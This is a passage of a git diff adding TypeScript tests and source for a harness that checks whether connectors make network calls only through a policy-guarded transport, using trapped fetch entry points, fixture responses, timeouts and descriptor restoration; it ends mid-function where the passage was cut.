+        code: 'INSTRUMENTATION_UNSUPPORTED',
+        reason: expect.stringContaining('effective-read mismatch'),
+      }),
+    ]);
+    expect(report.instrumented).toEqual([]);
+    expect(observations).toEqual([
+      { operation: 'defineProperty', value: expect.any(Function) },
+      { operation: 'get', value: original },
+    ]);
+    expect(observations[0]?.value).not.toBe(original);
+    expect(Object.getOwnPropertyDescriptor(backing, 'fetch')).toEqual(saved);
+  });
+
+  it('refuses an entry point whose target accepts a write and ignores it', async () => {
+    // #given
+    const original = async () => new Response();
+    const holder = new Proxy(
+      { fetch: original },
+      {
+        defineProperty() {
+          return true;
+        },
+      },
+    );
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(), entryOptions(holder)),
+    );
+    // #then
+    expect(report.cases[0]?.findings).toEqual([
+      expect.objectContaining({
+        code: 'INSTRUMENTATION_UNSUPPORTED',
+        reason: expect.stringContaining('own descriptor'),
+      }),
+    ]);
+    expect(report.instrumented).toEqual([]);
+    expect(holder.fetch).toBe(original);
+  });
+
+  it('restores the entry points before a failing timer cleanup runs', async () => {
+    // #given
+    const realClear = globalThis.clearTimeout;
+    const saved = globalThis.fetch;
+    const holder = { fetch: async () => new Response() };
+    const original = holder.fetch;
+    let restoredAtCleanup = false;
+    let leaked: Parameters<typeof clearTimeout>[0];
+    const subject = quietFactory(async () => {
+      globalThis.clearTimeout = ((handle: unknown) => {
+        globalThis.clearTimeout = realClear;
+        leaked = handle as Parameters<typeof clearTimeout>[0];
+        restoredAtCleanup =
+          globalThis.fetch === saved && holder.fetch === original;
+        throw new Error('clearTimeout refused');
+      }) as typeof globalThis.clearTimeout;
+      return {};
+    });
+    try {
+      // #when
+      const report = await assertConnectorConformance(
+        subject,
+        entryOptions(holder),
+      );
+      // #then
+      expect(report.conformant).toBe(true);
+      expect(report.findings).toEqual([]);
+      expect(restoredAtCleanup).toBe(true);
+      expect(globalThis.fetch).toBe(saved);
+      expect(holder.fetch).toBe(original);
+    } finally {
+      globalThis.clearTimeout = realClear;
+      if (leaked !== undefined) realClear(leaked);
+    }
+  });
+
+  it('returns inert response bodies and headers without sending a request', async () => {
+    // #given
+    let response: EgressResponse | undefined;
+    const respond = vi.fn(() => ({
+      status: 201,
+      headers: { 'X-Fixture': 'yes' },
+      body: '"héllo"',
+    }));
+    const subject = factory(async (_input, _context, rt) => {
+      response = await rt.fetch(
+        'https://api.vendor.example/resource?key=fixture',
+        { method: 'post' },
+      );
+      return {};
+    });
+    // #when
+    await assertConnectorConformance(subject, {
+      manifest,
+      cases: [{ ...requestCase, respond }],
+    });
+    // #then
+    expect(respond).toHaveBeenCalledWith({
+      url: 'https://api.vendor.example/resource?key=fixture',
+      host: 'api.vendor.example',
+      method: 'POST',
+    });
+    expect(response?.ok).toBe(true);
+    expect(response?.status).toBe(201);
+    expect(response?.url).toBe(
+      'https://api.vendor.example/resource?key=fixture',
+    );
+    expect(response?.headers.get('x-FIXTURE')).toBe('yes');
+    expect(response?.headers.get('absent')).toBe(null);
+    expect(await response?.json()).toBe('héllo');
+    expect(await response?.text()).toBe('"héllo"');
+    expect(await response?.arrayBuffer()).toEqual(
+      new TextEncoder().encode('"héllo"').buffer,
+    );
+  });
+
+  it('round-trips writable and configurable data descriptors independently', async () => {
+    // #given
+    for (const flags of [
+      { writable: true, configurable: false },
+      { writable: false, configurable: true },
+    ]) {
+      const holder = {};
+      Object.defineProperty(holder, 'fetch', {
+        value: async () => new Response(),
+        enumerable: false,
+        ...flags,
+      });
+      const saved = Object.getOwnPropertyDescriptor(holder, 'fetch');
+      // #when
+      await assertConnectorConformance(quietFactory(), entryOptions(holder));
+      // #then
+      expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual(saved);
+    }
+  });
+});
diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.timeout.test.ts b/packages/breakwater/src/connector-sdk/egress-conformance.timeout.test.ts
new file mode 100644
index 00000000..027368f6
--- /dev/null
+++ b/packages/breakwater/src/connector-sdk/egress-conformance.timeout.test.ts
@@ -0,0 +1,244 @@
+// SPDX-License-Identifier: Apache-2.0
+// A case that times out poisons its module instance: later runs through that
+// instance are refused. The obligations that time out live here, in a file and
+// a vitest invocation of their own, rather than beside the harness suite.
+import { describe, expect, it, vi } from 'vitest';
+import {
+  type Execute,
+  manifest,
+  noEgress,
+  quietCase,
+  requestCase,
+} from './egress-conformance.fixtures.js';
+import {
+  assertConnectorConformance,
+  ConnectorConformanceError,
+  type ConnectorConformanceFactory,
+  type ConnectorConformanceReport,
+  type ConnectorConformanceRuntime,
+  createConnector,
+  type PermissionManifest,
+} from './index.js';
+
+function factory(
+  execute: Execute = async (_input, _context, runtime) => {
+    await runtime.fetch('https://api.vendor.example');
+    return {};
+  },
+  permissions: PermissionManifest = manifest,
+): ConnectorConformanceFactory<unknown, unknown> {
+  return (runtime) =>
+    createConnector<unknown, unknown>({
+      id: 'vendor.read',
+      description: 'Conformance timeout fixture',
+      permissions,
+      policies: runtime.policies,
+      execute,
+    });
+}
+
+function quietFactory(execute: Execute = async () => ({})) {
+  return factory(execute, noEgress);
+}
+
+async function rejected(
+  run: Promise<ConnectorConformanceReport>,
+): Promise<ConnectorConformanceReport> {
+  try {
+    await run;
+  } catch (error) {
+    expect(error).toBeInstanceOf(ConnectorConformanceError);
+    if (error instanceof ConnectorConformanceError) return error.report;
+    throw error;
+  }
+  throw new Error('expected a non-conformant run');
+}
+
+describe('connector egress conformance timeouts', () => {
+  it('restores instrumentation and poisons the isolate when a case name getter starts throwing after validation and the invocation never settles', async () => {
+    // #given
+    vi.resetModules();
+    const sdk = await import('./index.js');
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    let unreadable = false;
+    const name = vi.fn(() => {
+      if (unreadable) throw new Error('case name unreadable');
+      return 'validated timeout name';
+    });
+    const subject = (runtime: ConnectorConformanceRuntime) =>
+      sdk.createConnector({
+        id: 'vendor.timeout',
+        description: 'Case name timeout fixture',
+        permissions: noEgress,
+        policies: runtime.policies,
+        execute: async () => {
+          unreadable = true;
+          Object.defineProperty(globalThis, 'fetch', {
+            value: globalThis.fetch,
+            writable: true,
+            configurable: true,
+          });
+          return new Promise(() => {});
+        },
+      });
+    // #when
+    const error = await sdk
+      .assertConnectorConformance(subject, {
+        manifest: noEgress,
+        cases: [
+          {
+            ...quietCase,
+            get name() {
+              return name();
+            },
+            timeoutMs: 50,
+          },
+          { ...quietCase, name: 'skipped' },
+        ],
+      })
+      .catch((error: unknown) => error);
+    // #then
+    expect(error).toBeInstanceOf(sdk.ConnectorConformanceError);
+    if (!(error instanceof sdk.ConnectorConformanceError)) throw error;
+    expect(error.report.conformant).toBe(false);
+    expect(error.report.cases[0]?.name).toBe('validated timeout name');
+    expect(error.report.findings).toEqual([
+      {
+        code: 'CASE_TIMEOUT',
+        case: 'validated timeout name',
+        reason: "case 'validated timeout name' timed out after 50 ms",
+      },
+      {
+        code: 'INSTRUMENTATION_REPLACED',
+        case: 'validated timeout name',
+        reason:
+          'globalThis.fetch descriptor differs from the one the harness installed: data property (writable: true, configurable: true)',
+      },
+      {
+        code: 'CASE_TIMEOUT',
+        reason:
+          "skipped cases skipped after CASE_TIMEOUT in 'validated timeout name'",
+      },
+    ]);
+    expect(name).toHaveBeenCalledTimes(1);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+    const later = await sdk
+      .assertConnectorConformance(subject, {
+        manifest: noEgress,
+        cases: [quietCase],
+      })
+      .catch((error: unknown) => error);
+    expect(later).toBeInstanceOf(sdk.ConnectorConformanceError);
+    if (!(later instanceof sdk.ConnectorConformanceError)) throw later;
+    expect(later.report.findings).toEqual([
+      {
+        code: 'ISOLATE_POISONED',
+        reason:
+          "case 'validated timeout name' timed out in this isolate; no further run is accepted",
+      },
+    ]);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('reports INSTRUMENTATION_REPLACED and CASE_TIMEOUT when a redefined trap outlives a timed-out case', async () => {
+    // #given
+    vi.resetModules();
+    const sdk = await import('./index.js');
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const replacement = vi.fn(async () => new Response());
+    // #when
+    const run = sdk.assertConnectorConformance(
+      (runtime) =>
+        sdk.createConnector({
+          id: 'vendor.timeout',
+          description: 'Replacement timeout fixture',
+          permissions: noEgress,
+          policies: runtime.policies,
+          execute: async () => {
+            Object.defineProperty(globalThis, 'fetch', { value: replacement });
+            return new Promise(() => {});
+          },
+        }),
+      {
+        manifest: noEgress,
+        cases: [
+          { ...quietCase, timeoutMs: 50 },
+          { ...quietCase, name: 'skipped' },
+        ],
+      },
+    );
+    const error = await run.catch((error: unknown) => error);
+    // #then
+    expect(error).toBeInstanceOf(sdk.ConnectorConformanceError);
+    if (!(error instanceof sdk.ConnectorConformanceError)) throw error;
+    const report = error.report;
+    expect(report.conformant).toBe(false);
+    expect(report.cases).toHaveLength(1);
+    expect(report.cases[0]).toMatchObject({
+      proved: 'nothing',
+      guardedHosts: [],
+      decisionCodes: [],
+      transportCalls: 0,
+      findings: [
+        expect.objectContaining({ code: 'CASE_TIMEOUT' }),
+        expect.objectContaining({ code: 'INSTRUMENTATION_REPLACED' }),
+      ],
+    });
+    expect(report.findings).toContainEqual({
+      code: 'CASE_TIMEOUT',
+      reason: "skipped cases skipped after CASE_TIMEOUT in 'quiet'",
+    });
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('restores instrumentation when a case never settles', async () => {
+    // #given
+    const saved = globalThis.fetch;
+    const execute = vi.fn(async () => new Promise(() => {}));
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(execute), {
+        manifest: noEgress,
+        cases: [
+          { ...quietCase, name: 'never settles', timeoutMs: 50 },
+          { ...quietCase, name: 'skipped' },
+        ],
+      }),
+    );
+    // #then
+    expect(globalThis.fetch).toBe(saved);
+    expect(execute).toHaveBeenCalledTimes(1);
+    expect(report.cases).toHaveLength(1);
+    expect(report.cases[0]?.proved).toBe('nothing');
+    expect(report.cases[0]?.guardedHosts).toEqual([]);
+    expect(report.cases[0]?.decisionCodes).toEqual([]);
+    expect(report.cases[0]?.findings).toEqual([
+      expect.objectContaining({ code: 'CASE_TIMEOUT' }),
+    ]);
+    expect(report.findings).toContainEqual({
+      code: 'CASE_TIMEOUT',
+      reason: "skipped cases skipped after CASE_TIMEOUT in 'never settles'",
+    });
+  });
+
+  it('refuses a later run in an isolate where a case timed out', async () => {
+    // #given
+    const saved = globalThis.fetch;
+    const subject = vi.fn(factory());
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(subject, { manifest, cases: [requestCase] }),
+    );
+    // #then
+    expect(report.findings).toEqual([
+      expect.objectContaining({
+        code: 'ISOLATE_POISONED',
+        reason: expect.stringContaining('never settles'),
+      }),
+    ]);
+    expect(report.cases).toEqual([]);
+    expect(report.instrumented).toEqual([]);
+    expect(subject).not.toHaveBeenCalled();
+    expect(globalThis.fetch).toBe(saved);
+  });
+});
diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.ts b/packages/breakwater/src/connector-sdk/egress-conformance.ts
new file mode 100644
index 00000000..058ec9f0
--- /dev/null
+++ b/packages/breakwater/src/connector-sdk/egress-conformance.ts
@@ -0,0 +1,1559 @@
+// SPDX-License-Identifier: Apache-2.0
+// This module imports only types from ./contracts.js; runtime collaborators arrive as parameters.
+// Nothing at module scope calls an imported binding.
+
+import { z } from 'zod';
+import { type AuditEvent, AuditLogger } from '../audit/index.js';
+import {
+  type ConnectorDecisionCode,
+  type ConnectorDenialCode,
+  ConnectorInvocationError,
+  ConnectorPolicyError,
+  ConnectorValidationError,
+  captureConnectorDenialMetadata,
+  isConnectorDecisionCode,
+} from '../connector-decision.js';
+import {
+  assertEgressHostList,
+  egressDomainAllowed,
+} from '../policy-engine/tool-policy.js';
+import type {
+  Connector,
+  ConnectorEgressPosture,
+  ConnectorInvocationOptions,
+  PermissionManifest,
+} from './contracts.js';
+import type { EgressFetchBase, EgressResponse } from './egress-fetch.js';
+import { resolveEgressPosture } from './egress-posture.js';
+
+export interface ConnectorConformanceCase<TInput = unknown> {
+  readonly name: string;
+  readonly input: TInput;
+  readonly invocation?: ConnectorInvocationOptions;
+  /** Milliseconds before the case is abandoned as never-settling. Default 2000. */
+  readonly timeoutMs?: number;
+  readonly respond?: (
+    request: ConnectorConformanceRequest,
+  ) => ConnectorConformanceResponse; // default: 200, empty body
+  readonly expect:
+    | { readonly outcome: 'guarded-request'; readonly hosts: readonly string[] }
+    | { readonly outcome: 'guarded-denial'; readonly code: ConnectorDenialCode }
+    | {
+        readonly outcome: 'policy-denied';
+        readonly code: ConnectorDecisionCode;
+      }
+    | { readonly outcome: 'no-network' };
+}
+
+export type ConnectorConformanceFindingCode =
+  | 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH'
+  | 'MANIFEST_MISMATCH'
+  | 'POSTURE_NOT_ENFORCED'
+  | 'SUBJECT_UNREGISTERED'
+  | 'CASE_EXPECTATION_UNMET'
+  | 'CASE_INVOCATION_FAILED'
+  | 'CASE_TIMEOUT'
+  | 'NO_TRANSPORT_EVIDENCE'
+  | 'POLICIES_NOT_WIRED'
+  | 'FACTORY_FAILED'
+  | 'INSTRUMENTATION_UNSUPPORTED'
+  | 'INSTRUMENTATION_REPLACED'
+  | 'INSTRUMENTATION_NOT_RESTORED'
+  | 'RUN_OVERLAPPING'
+  | 'ISOLATE_POISONED'
+  | 'NO_CASES';
+
+export interface ConnectorConformanceEscape {
+  /** Instrumented label, or 'policies.fetch'; never an argument value. */
+  readonly entryPoint: string;
+  /** Hostname only; null when the argument yielded no parseable URL. */
+  readonly host: string | null;
+  /** Every recorded escape was refused; the record is written before the refusal. */
+  readonly refused: true;
+}
+
+export interface ConnectorConformanceFinding {
+  readonly code: ConnectorConformanceFindingCode;
+  /** Case name, absent for a run-level finding. */
+  readonly case?: string;
+  /** Which supplied policy member was not wired; POLICIES_NOT_WIRED only. */
+  readonly member?: 'fetch' | 'audit' | 'both';
+  /**
+   * The settled case whose abandoned work produced this run-level finding.
+   * Present only on a finding observed after that case settled, where `case`
+   * is absent because the case's own result is already on the report.
+   */
+  readonly observedAfterCase?: string;
+  readonly reason: string;
+}
+
+export interface ConnectorConformanceCaseResult {
+  readonly name: string;
+  /**
+   * What this case proved. `'nothing'` indicates incomplete evidence; inspect
+   * the findings for a refusal, timeout, instrumentation replacement, or
+   * invocation failure, including a failure during invocation setup.
+   */
+  readonly proved:
+    | 'guarded-request'
+    | 'guarded-denial'
+    | 'policy-denied'
+    | 'no-network'
+    | 'nothing';
+  /**
+   * Hosts this case reached THROUGH the guard: the hostnames of the calls the
+   * harness-owned base transport allowed, de-duplicated in first-call order.
+   * Filled when the case was invoked, did not time out, and verified its
+   * instrumentation intact at settlement; empty otherwise.
+   * A measurement, never a copy of the case's own `expect.hosts`.
+   */
+  readonly guardedHosts: readonly string[];
+  /** Refused attempts recorded for this case; an escape recorded at run level is on `report.findings` instead. */
+  readonly escapes: readonly ConnectorConformanceEscape[];
+  /**
+   * The `decisionCode` of every event this case's AuditLogger recorded inside
+   * the invocation window, in record order; `undefined` for an event from an
+   * emitter that stamps none, so a foreign boundary writing to the same logger
+   * stays visible rather than being filtered away. Filled under the
+   * same condition as `guardedHosts`; empty otherwise.
+   */
+  readonly decisionCodes: readonly (ConnectorDecisionCode | undefined)[];
+  /**
+   * Calls that reached the harness-owned base transport, allowed or refused,
+   * counted when the case settles.
+   */
+  readonly transportCalls: number;
+  /**
+   * Witness events on this case's AuditLogger: recorded inside the invocation
+   * window, carrying a decisionCode, and stamped with this case's SUBJECT as
+   * `resource` — a collaborator connector built on the same logger is not one.
+   */
+  readonly auditEvents: number;
+  /**
+   * This case's findings: the subset of report.findings whose `case` is this
+   * name. Case names are unique per run, so the subset is well defined.
+   */
+  readonly findings: readonly ConnectorConformanceFinding[];
+}
+
+export interface ConnectorConformanceReport {
+  readonly conformant: boolean;
+  /**
+   * Absent whenever no subject's posture was resolved; the run's findings say
+   * why.
+   */
+  readonly posture?: ConnectorEgressPosture;
+  /**
+   * Entry points that completed a case's install. A case contributes NONE
+   * unless every entry's transaction completed: a failure at ANY entry rolls back
+   * the whole stack, including the failing entry on a (d) write or (e) verification
+   * failure; an (a) validation or descriptor-read failure precedes capture and push,
+   * so the stack holds only entries attempted before it, and neither failure
+   * path verifies the entry afterwards.
+   * Labels are unique per run. Empty when no case ran.
+   */
+  readonly instrumented: readonly string[];
+  readonly cases: readonly ConnectorConformanceCaseResult[];
+  /**
+   * Every finding in the run, flat: run-level ones with `case` absent,
+   * case-scoped ones carrying the case name. Each case's own view of the same
+   * objects is on its ConnectorConformanceCaseResult.
+   */
+  readonly findings: readonly ConnectorConformanceFinding[];
+  /** The finite-case limitation this report does not exceed. The module constant, on every report a run produces, refusals included — `refuseRun` sets it too. */
+  readonly limit: string;
+}
+
+export interface ConnectorConformanceRuntime {
+  /** Wire both members into the connector's policies; the harness owns both. */
+  readonly policies: {
+    readonly fetch: EgressFetchBase;
+    readonly audit: AuditLogger;
+  };
+}
+
+export type ConnectorConformanceFactory<TInput, TOutput> = (
+  runtime: ConnectorConformanceRuntime,
+) => Connector<TInput, TOutput>;
+
+export interface ConnectorConformanceRequest {
+  /** The exact href the transport was called with; the consumer's own request. */
+  readonly url: string;
+  readonly host: string;
+  readonly method: string;
+}
+
+export interface ConnectorConformanceResponse {
+  readonly status?: number;
+  readonly headers?: Readonly<Record<string, string>>;
+  readonly body?: string;
+}
+
+export interface ConnectorConformanceEntryPoint {
+  readonly label: string;
+  readonly target: object;
+  readonly property: string;
+}
+
+export interface ConnectorConformanceOptions<TInput = unknown> {
+  readonly manifest: PermissionManifest;
+  readonly cases: readonly ConnectorConformanceCase<TInput>[];
+  readonly entryPoints?: readonly ConnectorConformanceEntryPoint[];
+}
+
+export class ConnectorConformanceError extends Error {
+  readonly kind = 'connector-conformance';
+  readonly report: ConnectorConformanceReport;
+
+  constructor(report: ConnectorConformanceReport) {
+    super(
+      `connector conformance failed: ${
+        report.findings.map((finding) => finding.code).join(', ') ||
+        'no findings'
+      }`,
+    );
+    this.name = 'ConnectorConformanceError';
+    this.report = report;
+  }
+}
+
+export const CONFORMANCE_LIMIT =
+  'conformance covers only the supplied cases, in this isolate, for the duration of each case; channels a run observes, and channels it does not, are described under Conformance limits in the CONNECTORS.md that ships with this package, at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits';
+
+class ConformanceRefusal extends Error {}
+
+/** The label of the harness-owned global fetch entry point. */
+const GLOBAL_FETCH_LABEL = 'globalThis.fetch';
+/** The base transport the harness hands the factory for its policies. */
+const POLICIES_FETCH_LABEL = 'policies.fetch';
+
+/** Milliseconds a case runs before it is abandoned as never-settling. */
+const DEFAULT_CASE_TIMEOUT_MS = 2000;
+
+/**
+ * The run holding this module instance; undefined while it accepts one. This
+ * guard and `poisonedByCase` are scoped to this module instance, so a second
+ * copy of this module carries its own pair and neither sees the other's runs.
+ * The package's `.` and `./connector-sdk` entry points resolve to one copy;
+ * `scripts/packed-consumer-test.mjs` asserts that identity against the packed
+ * tarball.
+ */
+let activeRun: symbol | undefined;
+/** The case whose timeout poisoned this isolate; undefined while it accepts runs. */
+let poisonedByCase: string | undefined;
+
+/** Refuse before a report exists: the findings stand on a synthetic one. */
+const refuseRun = (findings: readonly ConnectorConformanceFinding[]): never => {
+  throw new ConnectorConformanceError({
+    conformant: false,
+    instrumented: [],
+    cases: [],
+    findings,
+    limit: CONFORMANCE_LIMIT,
+  });
+};
+
+/**
+ * A destination that changes when the phase it belongs to ends. The transport
+ * and the traps a phase hands to connector code hold this object, so where a
+ * call arriving after that phase is recorded is a property of the object
+ * rather than of a variable every recorder has to consult.
+ */
+interface PhaseSink<T> {
+  readonly record: (value: T) => void;
+  readonly close: () => void;
+}
+
+function phaseSink<T>(
+  open: (value: T) => void,
+  late: (value: T) => void,
+): PhaseSink<T> {
+  let closed = false;
+  return {
+    record: (value) => {
+      if (closed) {
+        late(value);
+        return;
+      }
+      open(value);
+    },
+    close: () => {
+      closed = true;
+    },
+  };
+}
+
+interface TimerGlobals {
+  setTimeout(handler: () => void, timeoutMs: number): unknown;
+  clearTimeout(handle: unknown): void;
+}
+
+function globalTimers(): TimerGlobals {
+  return globalThis as unknown as TimerGlobals;
+}
+
+interface UrlLike {
+  readonly href: string;
+  readonly hostname: string;
+}
+
+type UrlConstructor = new (input: string) => UrlLike;
+
+type TextEncoderConstructor = new () => {
+  encode(input: string): Uint8Array<ArrayBuffer>;
+};
+
+function requireGlobal<T>(name: string): T {
+  const ctor = (globalThis as Record<string, unknown>)[name];
+  if (typeof ctor !== 'function') {
+    throw new TypeError(
+      `assertConnectorConformance requires the ${name} global (Workers, Node >= 18, or a browser)`,
+    );
+  }
+  return ctor as T;
+}
+
+/**
+ * The recorders take their host from here, and a record is what makes a refusal
+ * observable, so this answers `null` rather than throwing — including when the
+ * URL global the run required at its start is no longer a constructor.
+ */
+function urlOf(input: unknown): UrlLike | null {
+  try {
+    const UrlCtor = requireGlobal<UrlConstructor>('URL');
+    if (typeof input === 'string') return new UrlCtor(input);
+    if (typeof input !== 'object' || input === null) return null;
+    const candidate = input as { href?: unknown; url?: unknown };
+    if (typeof candidate.href === 'string') return new UrlCtor(candidate.href);
+    if (typeof candidate.url === 'string') return new UrlCtor(candidate.url);
+    return null;
+  } catch {
+    return null;
+  }
+}
+
+function hostOf(input: unknown): string | null {
+  return urlOf(input)?.hostname ?? null;
+}
+
+function hrefOf(input: unknown): string | null {
+  return urlOf(input)?.href ?? null;
+}
+
+function trap(
+  entryPoint: string,
+  escapes: PhaseSink<ConnectorConformanceEscape>,
+) {
+  return (...args: readonly unknown[]): never => {
+    escapes.record({ entryPoint, host: hostOf(args[0]), refused: true });
+    throw new ConformanceRefusal(`connector reached ${entryPoint}`);
+  };
+}
+
+function buildResponse(
+  url: string,
+  host: string,
+  method: string,
+  respond: ConnectorConformanceCase['respond'],
+): EgressResponse {
+  const response = respond?.({ url, host, method });
+  const status = response?.status ?? 200;
+  const body = response?.body ?? '';
+  const headers = new Map(
+    Object.entries(response?.headers ?? {}).map(([name, value]) => [
+      name.toLowerCase(),
+      value,
+    ]),
+  );
+  return {
+    status,
+    ok: status >= 200 && status < 300,
+    statusText: '',
+    url,
+    headers: { get: (name) => headers.get(name.toLowerCase()) ?? null },
+    json: async () => JSON.parse(body),
+    text: async () => body,
+    arrayBuffer: async () => {
+      const Encoder = requireGlobal<TextEncoderConstructor>('TextEncoder');
+      return new Encoder().encode(body).buffer;
+    },
+  };
+}
+
+interface CaseTransport {
+  readonly fetch: EgressFetchBase;
+  bind(connector: object): void;
+  readonly calls: () => number;
+  readonly hosts: () => readonly string[];
+}
+
+function createCaseTransport(
+  connectorManifest: (tool: object) => PermissionManifest | undefined,
+  respond:
+    | ((request: ConnectorConformanceRequest) => ConnectorConformanceResponse)
+    | undefined,
+  escapes: PhaseSink<ConnectorConformanceEscape>,
+): CaseTransport {
+  let subject: object | undefined;
+  let calls = 0;
+  const allowed: string[] = [];
+  // The refusal must reach a synchronous factory caller as a throw.
+  const fetch = ((input: unknown, init?: { readonly method?: string }) => {
+    calls += 1;
+    const url = hrefOf(input);
+    const host = hostOf(input);
+    const declared =
+      subject === undefined ? undefined : connectorManifest(subject)?.egress;
+    if (
+      url === null ||
+      host === null ||
+      declared === undefined ||
+      !egressDomainAllowed(host, declared)
+    ) {
+      escapes.record({
+        entryPoint: POLICIES_FETCH_LABEL,
+        host,
+        refused: true,
+      });
+      throw new ConformanceRefusal(
+        'connector called the supplied base transport directly',
+      );
+    }
+    allowed.push(host);
+    return Promise.resolve(
+      buildResponse(url, host, (init?.method ?? 'GET').toUpperCase(), respond),
+    );
+  }) as EgressFetchBase;
+  return {
+    fetch,
+    bind: (connector) => {
+      subject = connector;
+    },
+    calls: () => calls,
+    hosts: () => [...allowed],
+  };
+}
+
+function validateOptions<TInput>(
+  options: ConnectorConformanceOptions<TInput>,
+): ConnectorConformanceOptions<TInput> {
+  const object = z.custom<object>(
+    (value) => typeof value === 'object' && value !== null,
+    'must be an object',
+  );
+  const code = z.custom<ConnectorDecisionCode>(
+    isConnectorDecisionCode,
+    'must be a connector decision code',
+  );
+  // `connector-decision.ts` publishes the denial-code set through this
+  // `@internal` capture function's throw path and through no guard of its own,
+  // so a code it rejects is one this schema rejects.
+  const denialCode = z.custom<ConnectorDenialCode>((value) => {
+    try {
+      captureConnectorDenialMetadata({ code: value });
+      return true;
+    } catch {
+      return false;
+    }
+  }, 'must be a connector denial code');
+  const caseSchema = z.strictObject({
+    name: z.string().min(1),
+    input: z.unknown(),
+    invocation: object.optional(),
+    timeoutMs: z.number().int().positive().max(2_147_483_647).optional(),
+    respond: z
+      .custom<ConnectorConformanceCase['respond']>(
+        (value) => typeof value === 'function',
+        'must be a response function',
+      )
+      .optional(),
+    expect: z.discriminatedUnion('outcome', [
+      z.strictObject({
+        outcome: z.literal('guarded-request'),
+        hosts: z.array(z.string()).min(1),
+      }),
+      z.strictObject({
+        outcome: z.literal('guarded-denial'),
+        code: denialCode,
+      }),
+      z.strictObject({ outcome: z.literal('policy-denied'), code }),
+      z.strictObject({ outcome: z.literal('no-network') }),
+    ]),
+  });
+  const schema = z.strictObject({
+    manifest: object,
+    cases: z.array(
+      z
+        .unknown()
+        .refine(
+          (value) =>
+            typeof value !== 'object' ||
+            value === null ||
+            Object.hasOwn(value, 'input'),
+          { path: ['input'], message: 'required' },
+        )
+        .pipe(caseSchema),
+    ),
+    entryPoints: z
+      .array(
+        z.strictObject({
+          label: z.string().min(1),
+          target: object,
+          property: z.string().min(1),
+        }),
+      )
+      .optional(),
+  });
+  let result: ReturnType<typeof schema.safeParse>;
+  try {
+    result = schema.safeParse(options);
+  } catch {
+    throw new TypeError(
+      'assertConnectorConformance: options could not be read or validated',
+    );
+  }
+  if (!result.success) {
+    const issue = result.error.issues[0];
+    const path = issue?.path.length ? issue.path.join('.') : 'options';
+    throw new TypeError(
+      `assertConnectorConformance: invalid ${path}: ${issue?.message ?? 'configuration'}`,
+    );
+  }
+  const names = new Set<string>();
+  result.data.cases.forEach((c, index) => {
+    if (c.expect.outcome === 'guarded-request') {
+      assertEgressHostList(
+        c.expect.hosts,
+        (entry) =>
+          `assertConnectorConformance: invalid cases.${index}.expect.hosts: '${entry}' must be a bare hostname ('api.example.com') or wildcard ('*.example.com')`,
+      );
+    }
+    if (names.has(c.name)) {
+      throw new TypeError(
+        `assertConnectorConformance: invalid cases.${index}.name: duplicate case name`,
+      );
+    }
+    names.add(c.name);
+  });
+  const labels = new Set<string>([GLOBAL_FETCH_LABEL, POLICIES_FETCH_LABEL]);
+  result.data.entryPoints?.forEach((entry, index) => {
+    if (labels.has(entry.label)) {
+      throw new TypeError(
+        `assertConnectorConformance: invalid entryPoints.${index}.label: duplicate or reserved label`,
+      );
+    }
+    labels.add(entry.label);
+  });
+  // Zod copies case and entry metadata; custom and unknown schemas retain fixture identity.
+  return result.data as ConnectorConformanceOptions<TInput>;
+}
+
+/**
+ * Every member of `PermissionManifest`. The `Record` makes the list a
+ * compile-time obligation: a member the interface gains is a missing property
+ * here, and a name it does not have is an excess one.
+ */
+const MANIFEST_MEMBER_SET: Record<keyof PermissionManifest, true> = {
+  sideEffect: true,
+  egress: true,
+  idempotencyKey: true,
+  requiresApproval: true,
+  dryRun: true,
+  rateLimit: true,
+  background: true,
+  requiredPermissions: true,
+  egressEnforcement: true,
+};
+
+const MANIFEST_MEMBERS = Object.keys(
+  MANIFEST_MEMBER_SET,
+) as (keyof PermissionManifest)[];
+
+function manifestsMatch(
+  claimed: PermissionManifest,
+  registered: PermissionManifest | undefined,
+): boolean {
+  if (registered === undefined) return false;
+  for (const manifest of [claimed, registered]) {
+    for (const [key, value] of Object.entries(manifest)) {
+      if (
+        !MANIFEST_MEMBERS.some((member) => member === key) &&
+        value !== undefined
+      ) {
+        return false;
+      }
+    }
+  }
+  return MANIFEST_MEMBERS.every((key) => {
+    if (key === 'egress' || key === 'requiredPermissions') {
+      const left = claimed[key] ?? (key === 'egress' ? [] : undefined);
+      const right = registered[key] ?? (key === 'egress' ? [] : undefined);
+      return left === undefined || right === undefined
+        ? left === right
+        : Array.isArray(left) &&
+            Array.isArray(right) &&
+            left.length === right.length &&
+            left.every((value, index) => Object.is(value, right[index]));
+    }
+    if (key === 'egressEnforcement') {
+      return resolveEgressPosture(claimed) === resolveEgressPosture(registered);
+    }
+    return Object.is(claimed[key] ?? undefined, registered[key] ?? undefined);
+  });
+}
+
+interface CapturedEntry extends ConnectorConformanceEntryPoint {
+  readonly descriptor: PropertyDescriptor | undefined;
+  readonly trap: ReturnType<typeof trap>;
+  readonly installedDescriptor: PropertyDescriptor;
+}
+
+/** The outcome of one install attempt over a set of entry points. */
+interface InstalledEntries {
+  /** The installed entries, or undefined when the install failed and unwound. */
+  readonly stack: readonly CapturedEntry[] | undefined;
+  /** Labels the subject assigned over the install; one finding per label. */
+  readonly assigned: ReadonlySet<string>;
+  /** Whether the entries this install put back matched their descriptors. */
+  readonly restored: boolean;
+}
+
+type RecordFinding = (finding: ConnectorConformanceFinding) => void;
+
+const instrumentable = (d: PropertyDescriptor | undefined): boolean =>
+  d === undefined ||
+  ('value' in d && (d.configurable === true || d.writable === true));
+
+const firstInherited = (target: object, property: string) => {
+  let o = Object.getPrototypeOf(target);
+  while (o !== null) {
+    const d = Object.getOwnPropertyDescriptor(o, property);
+    if (d !== undefined) return d;
+    o = Object.getPrototypeOf(o);
+  }
